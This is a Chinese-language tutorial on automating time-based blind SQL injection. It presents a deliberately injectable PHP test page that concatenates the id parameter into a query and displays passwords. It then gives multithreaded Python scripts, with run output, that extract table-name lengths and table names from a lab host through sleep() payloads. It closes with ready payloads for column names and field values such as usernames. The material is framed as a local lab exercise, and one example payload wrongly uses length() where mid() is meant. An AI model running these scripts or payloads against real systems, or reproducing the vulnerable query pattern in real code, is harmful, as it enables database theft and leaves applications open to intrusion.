0x01 时间盲注简介
时间盲注就是在页面进行SQL注入并执行后,前端页面无法回显注入的信息。此时,我们可以利用sleep()函数来控制延迟页面返回结果的时间,进而判断注入的SQL语句是否正确,这个过程称之为时间盲注。但如果手工进行注入的话,过程是非常频繁且耗时的,为了提高效率,我们需要编写自动化脚本替我们去完成这些注入工作。
0x02 漏洞测试代码
以下为本次实验测试的基于时间的数字型盲注漏洞代码,可以部署到本地进行配合脚本测试验证。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php header ("content-type:text/html;charset=utf-8" );$conn =mysql_connect ("localhost" ,"root" ,"root" );mysql_select_db ('sqltest' );?> <html> <head> <meta charset="utf-8" /> <title>sql注入测试</title> <style> body{text-align:center} </style> </head> <body> <br /> <?php $id =@$_GET ['id' ]; if ($id ==null ){ $id ="1" ; } mysql_query ('set names utf8' ); $sql = "SELECT * FROM users WHERE id=$id " ; $result = mysql_query ($sql ,$conn ); if (!$result ) { die ('<p>error:' .mysql_error ().'</p>' ); } $row = mysql_fetch_array ($result ); if (!$row ){ echo "该记录不存在" ; echo $sql ; exit ; } ?> <font size="10" face="Times" >sql注入测试</font> <table border='2' align="center" > <tr> <td>id:<?php echo $id ;?> </td> </tr> <tr> <td>账号:<?php echo $row ['username' ];?> </td> </tr> <tr> <td>密码:<?php echo $row ['password' ];?> </td> </tr> <tr> <td>sql内容: <?php echo $sql ;?> </td> </tr> </table> </body> </html>
0x03 时间盲注之获取表名长度
1. 获取表名长度盲注脚本编写 导入所需的模块
1 2 3 4 5 import requestsimport datetimeimport timeimport threading
定义测试数据的长度范围
例:定义测试表名数据的长度总范围为1到15
1 2 3 list =[] for i in range (1 ,16 ): list .append(i)
测试结果
1 2 3 print (list)[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
定义单个线程工作量
例:定义单个线程的工作量为3
分配每个线程的测试范围
例:由于测试表名数据长度为1到15,一共15个数据,而单个线程数为3,所以一共会产生5个线程数;如果不能刚好分配完,则多余的部分会新生成一个单独的线程
1 t_list=[list [t:t+t_num] for t in range (0 ,len (list ),t_num)]
测试结果
1 2 3 print (t_list)[[1 , 2 , 3 ], [4 , 5 , 6 ], [7 , 8 , 9 ], [10 , 11 , 12 ], [13 , 14 , 15 ]]
构造payload
通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果
1 ?id= 1 and sleep(if((select length(table_name)= 要猜表名的长度 from information_schema.tables where table_schema= database() limit 要猜第几个表名0 表示第一个,1 ),0 ,1 ))
例子:猜当前数据库下的第1个表名长度是否为5。
1 ?id= 1 and sleep(if((select length(table_name)= 5 from information_schema.tables where table_schema= database() limit 0 ,1 ),0 ,1 ))
定义要获取表名的数量
例:指定获取当前数据库下的前5个表名的长度
编辑功能函数
例:该函数会判断并返回当前数据库下的前5个表名长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def table_len (j_list,table_num ): for j in table_num: now_table = "第%d个表" % (j + 1 ) for i in j_list: url = '''http://192.168.1.2/labs/num_sql.php''' payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j) time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec <= 1 : print ('[+] %s长度为:' % now_table, i) res_table_lens[now_table]=i print (res_table_lens) else : pass
定义接收返回表名长度结果的字典
定义线程工作列表
添加线程到线程工作列表
1 2 for j in t_list: theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))
执行线程列表中的线程
1 2 for k in theads_list: k.start()
2. 获取表名长度脚本代码总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requestsimport datetimeimport timeimport threadinglist =[] for i in range (1 ,16 ): list .append(i) t_num=3 t_list=[list [t:t+t_num] for t in range (0 ,len (list ),t_num)] res_table_lens = {} theads_list=[] table_num=[0 ,1 ,2 ,3 ,4 ] def table_len (j_list,table_num ): for j in table_num: now_table = "第%d个表" % (j + 1 ) for i in j_list: url = '''http://192.168.1.2/labs/num_sql.php''' payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j) time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec <= 1 : print ('%s长度为:' % now_table, i) res_table_lens[now_table]=i print (res_table_lens) else : pass for j in t_list: theads_list.append(threading.Thread(target=table_len, args=(j,table_num,))) for k in theads_list: k.start()
运行结果
1 2 3 4 5 6 7 8 9 10 [+] 第1个表长度为: 4 {'第1个表' : 4} [+] 第2个表长度为: 4 {'第1个表' : 4, '第2个表' : 4} [+] 第3个表长度为: 5 {'第1个表' : 4, '第2个表' : 4, '第3个表' : 5} [+] 第4个表长度为: 5 {'第1个表' : 4, '第2个表' : 4, '第3个表' : 5, '第4个表' : 5} [+] 第5个表长度为: 5 {'第1个表' : 4, '第2个表' : 4, '第3个表' : 5, '第4个表' : 5, '第5个表' : 5}
0x04 时间盲注之获取表名
1. 获取表名脚本编写 导入所需的模块
1 2 3 4 5 import requestsimport datetimeimport timeimport threading
定义表名的长度列表
在上一个获取表名长度步骤中,已经得到了前5个表名长度分别为:
1 2 3 4 5 第1个表长度为4 第2个表长度为4 第3个表长度为5 第4个表长度为5 第5个表长度为5
将这5个表按先后顺序定义成一个列表
1 res_table_lens=[4 ,4 ,5 ,5 ,5 ]
定义线程的数量
例:定义线程的数量为5个,每一个线程对应获取一个表名
这样就可以在统一时间内同时获取5个表名,如果没有多线程的话,就得一个完接一个的获取表名。
1 theads_table_num=[0 ,1 ,2 ,3 ,4 ]
构造payload
通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果
1 ?id=1 and sleep(if((select mid(table_name,要猜的表名的第几位,1)='要猜的字符' from information_schema.tables where table_schema=database() limit 要猜第几个表名0表示第一个,1),0,1))
例子:猜当前数据库下的第1个表名的第1个字符是否为u。
1 ?id=1 and sleep(if((select length(table_name)='u' from information_schema.tables where table_schema=database() limit 0,1),0,1))
编辑功能函数
例:该函数会判断并返回当前数据库下的前5个表名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def table_name (len ,k ): name = '' now_thead = "第%d个线程" % (k + 1 ) now_table = "第%d个表" % (k + 1 ) for j in range (1 , len [k]+1 ): for i in '0123456789abcdefghijklmnopqrstuvwxyz' : url = '''http://192.168.1.2/labs/num_sql.php''' payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % ( j, i, k) time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec <= 1 : name += i print ('[+] %s--->%s: ' % (now_thead,now_table),name) break res_table_name[now_table]=name print (res_table_name)
定义接收返回表名结果字典
定义线程工作列表
添加线程到线程工作列表
1 2 for k in theads_table_num: theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))
执行线程列表中的线程
1 2 for k in theads_list: k.start()
2. 获取表名脚本代码总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requestsimport datetimeimport timeimport threadingtheads_list=[] res_table_lens=[4 ,4 ,5 ,5 ,5 ] theads_table_num=[0 ,1 ,2 ,3 ,4 ] res_table_name= {} def table_name (len ,k ): name = '' now_thead = "第%d个线程" % (k + 1 ) now_table = "第%d个表" % (k + 1 ) for j in range (1 , len [k]+1 ): for i in '0123456789abcdefghijklmnopqrstuvwxyz' : url = '''http://192.168.1.2/labs/num_sql.php''' payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % ( j, i, k) time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec <= 1 : name += i print ('[+] %s--->%s: ' % (now_thead,now_table),name) break res_table_name[now_table]=name print (res_table_name) for k in theads_table_num: theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,))) for k in theads_list: k.start()
运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [+] 第1个线程--->第1个表: n [+] 第2个线程--->第2个表: p [+] 第3个线程--->第3个表: t [+] 第4个线程--->第4个表: t [+] 第5个线程--->第5个表: u [+] 第1个线程--->第1个表: ne [+] 第4个线程--->第4个表: te [+] 第3个线程--->第3个表: te [+] 第2个线程--->第2个表: po [+] 第5个线程--->第5个表: us [+] 第1个线程--->第1个表: new [+] 第4个线程--->第4个表: tes [+] 第3个线程--->第3个表: tes [+] 第5个线程--->第5个表: use [+] 第2个线程--->第2个表: pos [+] 第1个线程--->第1个表: news {'第1个表' : 'news' } [+] 第5个线程--->第5个表: user [+] 第4个线程--->第4个表: test [+] 第3个线程--->第3个表: test [+] 第3个线程--->第3个表: test1 {'第1个表' : 'news' , '第3个表' : 'test1' } [+] 第4个线程--->第4个表: test2 {'第1个表' : 'news' , '第3个表' : 'test1' , '第4个表' : 'test2' } [+] 第2个线程--->第2个表: post {'第1个表' : 'news' , '第3个表' : 'test1' , '第4个表' : 'test2' , '第2个表' : 'post' } [+] 第5个线程--->第5个表: users {'第1个表' : 'news' , '第3个表' : 'test1' , '第4个表' : 'test2' , '第2个表' : 'post' , '第5个表' : 'users' }
0x05 代码总结 综上,本文总结了如何编写自动化脚本获取表名长度,进而获取表名。接下来就是要获取表名下的字段长度,然后获取字段名,最后获取字段值长度和字段值数据。这些步骤基本上与获取表名长度和表名一致,只是构造的payload不同,然后再根据payload稍稍改动小部分代码即可获取到想要的内容,这里就不一一编写了。
最后提供下测试代码剩余完整的payload,有兴趣的可以自行编写对应的自动化python脚本。
判断字段名长度payload
1 2 # 判断users表的第一个字段名长度是否为5 ?id= 1 and sleep(if((select length(column_name)= 5 from information_schema.columns where table_name= 'users' limit 0 ,1 ),0 ,3 ))
判断字段名payload
1 2 # 判断users表的第一个字段名的第一位是否为u ?id= 1 and sleep(if((select mid(column_name,1 ,1 )= 'u' from information_schema.columns where table_name= 'users' limit 0 ,1 ),0 ,3 ))
判断字段值长度payload
1 2 # 判断users表的username字段的第一个字段值是否为5 ?id= 1 and sleep(if((select length(username)= 5 from users limit 0 ,1 ),0 ,3 ))
判断字段值数据payload
1 2 # 判断users表的username字段的第一个字段值的第一位是否为u ?id= 1 and sleep(if((select mid(username,1 ,1 )= 'u' from users limit 0 ,1 ),0 ,3 ))
参考文章